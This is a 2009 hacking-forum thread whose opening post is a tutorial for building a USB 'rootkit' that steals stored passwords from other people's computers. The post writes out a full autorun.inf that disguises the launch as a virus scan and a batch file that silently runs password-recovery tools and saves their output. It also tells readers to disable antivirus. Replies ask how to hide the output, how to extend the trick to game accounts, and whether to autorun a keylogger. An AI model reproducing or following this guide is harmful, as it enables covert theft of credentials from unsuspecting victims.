+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: How to Hack Passwords Using USB Pen Drive (/showthread.php?tid=199953)
How to Hack Passwords Using USB Pen Drive - Alexander Dreamcrypt - Dec 7, 2009
Hacking passwords or any information using USB pendrive. Learn how to steal information or passwords of your friends or enemies using pendrives...
[img]http://i46.[censored].com/156ve3c.png[/img]
In this post i'm going to show you how to hack Passwords using USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP, Vista and Windows 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
I tryed this hack on Windows 7 and it's working great...
[IMG]http://i488.photobucket.com/albums/rr241/VTase/ChuckNorris-1-1.jpg[/IMG]
* - hoLe[R]a - Dec 7, 2009
Thanks for shareing it. I will try it soon. 🙂
* - Farside - Dec 12, 2009
Is there a way that we can make it open the programs and send the data from and to a different folder-- to mask it?
* - Anag0n - Dec 18, 2009
Is it possible to do that with games too ? if i insert the usb it will take wow acc names and passwords, same with steam
* - Snipeshow - Dec 18, 2009
you mine as well autorun a keylogger or stealer
* - Baal - Dec 18, 2009
I believe this was posted already and it kind of "fails" cause I try it on my friend with norton and it got pick up as a trojan -.-
* - Sacrier - Feb 28, 2010
i just tryed it...there aren't many ppl that saves their passwords but it may omce in use...thanks ^^
* - FormatHacker - Mar 1, 2010
will it work if i use CD?
and how can i get the hacked passsword =(?
thanks PM me =)
* - slemmers - Mar 1, 2010
This is great! Although it would require disabling the antivirus software beforehand which might take a few extra seconds depending on how accessible it is, otherwise it worked on mine in 4 seconds once AV was turned off.
* - jessman420 - Mar 4, 2010
This will not work in windows 7. Autorun for usb drives is disabled. You will have to manually start this batch after pausing your av. Most av's will quarantines these apps when they begin they run. Or see USB Switchblade by Hak5, I used Gonzors payload and it was awesome, all data is protected from av's and it includes, the hacksaw and winvnc payload via usb dumper.
* - -mothered- - Mar 4, 2010
Bookmarked! Will be trying this out soon.
Thanks for the share mate.
* - vio1985 - May 27, 2011
Cool man!! Lets see if it works!! Hope i does!!